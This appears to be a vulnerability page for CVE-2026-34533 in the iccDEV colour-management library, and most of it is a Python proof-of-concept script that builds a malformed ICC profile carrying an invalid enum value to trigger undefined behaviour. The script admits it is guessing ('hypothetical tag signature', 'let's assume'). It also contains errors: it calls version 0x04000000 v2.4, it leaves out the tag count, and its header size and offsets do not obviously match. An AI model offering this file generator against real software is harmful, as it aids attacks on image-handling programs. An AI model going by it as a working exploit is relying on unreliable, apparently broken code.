CVE-2026-34533 iccDEV未定义行为漏洞

import struct # This script generates a malformed ICC profile to trigger the Undefined Behavior in iccDEV < 2.3.1.6. # The vulnerability occurs in CIccCalculatorFunc::ApplySequence() due to invalid enum values. def generate_malformed_icc(filename): # ICC profile header (simplified) # Profile size: 128 bytes (placeholder) # Preferred CMM type: 0x00000000 # Profile version: 0x04000000 (v2.4) # Profile/device class: 'scnr' (Input device) # Color space: 'RGB ' # PCS: 'XYZ ' # Date: [0]*12 # Magic: 'acsp' # Platform: 0x00000000 # Flags: 0x00000000 # Manufacturer: 0x00000000 # Model: 0x00000000 # Attributes: 0x00000000 0x00000000 # Rendering intent: 0x00000000 # PCS illuminant: XYZ (0.9642, 1.0, 0.8249) # Creator: 0x00000000 # Profile ID: [0]*16 header = b'' header += struct.pack('>I', 128) # Size header += struct.pack('>I', 0) # CMM header += struct.pack('>I', 0x04000000) # Version header += b'scnr' # Class header += b'RGB ' # Color Space header += b'XYZ ' # PCS header += b'\x00' * 12 # Date header += b'acsp' # Magic header += struct.pack('>I', 0) # Platform header += struct.pack('>I', 0) # Flags header += struct.pack('>I', 0) # Manufacturer header += struct.pack('>I', 0) # Model header += struct.pack('>I', 0) # Attributes (high) header += struct.pack('>I', 0) # Attributes (low) header += struct.pack('>I', 0) # Rendering Intent # XYZ illuminant (D50) header += struct.pack('>i', 0x0000f6d6) # X header += struct.pack('>i', 0x00010000) # Y header += struct.pack('>i', 0x0000d32d) # Z header += struct.pack('>I', 0) # Creator header += b'\x00' * 16 # Profile ID header += b'\x00' * 28 # Reserved # Tag Table # We need a tag that triggers the calculator function sequence. # Let's assume a 'curv' or similar tag type processing is involved or we inject a malformed tag. # The specific tag type triggering CIccCalculatorFunc is implementation specific, # but typically involves processing curves orlut types. # Here we inject a tag with a signature that might be processed by the vulnerable function. tag_count = 1 tag_table = b'' tag_signature = b'mfsA' # Hypothetical tag signature processed by calculator tag_offset = 128 + 12 * tag_count # Header starts at 0, table starts at 128 (usually) tag_size = 20 tag_table += tag_signature tag_table += struct.pack('>I', tag_offset) tag_table += struct.pack('>I', tag_size) # Tag Data # This data contains the invalid enum value for icChannelFuncSignature # The vulnerability description mentions "invalid enum values". # We will write garbage data to simulate the invalid value. tag_data = b'' # First 4 bytes might be the type/enum tag_data += struct.pack('>I', 0xDEADBEEF) # Invalid Enum Value tag_data += b'A' * (tag_size - 4) # Padding # Combine all profile = header + tag_table + tag_data # Update header size profile = struct.pack('>I', len(profile)) + profile[4:] with open(filename, 'wb') as f: f.write(profile) print(f"Malformed ICC profile generated: {filename}") if __name__ == "__main__": generate_malformed_icc("exploit.icc")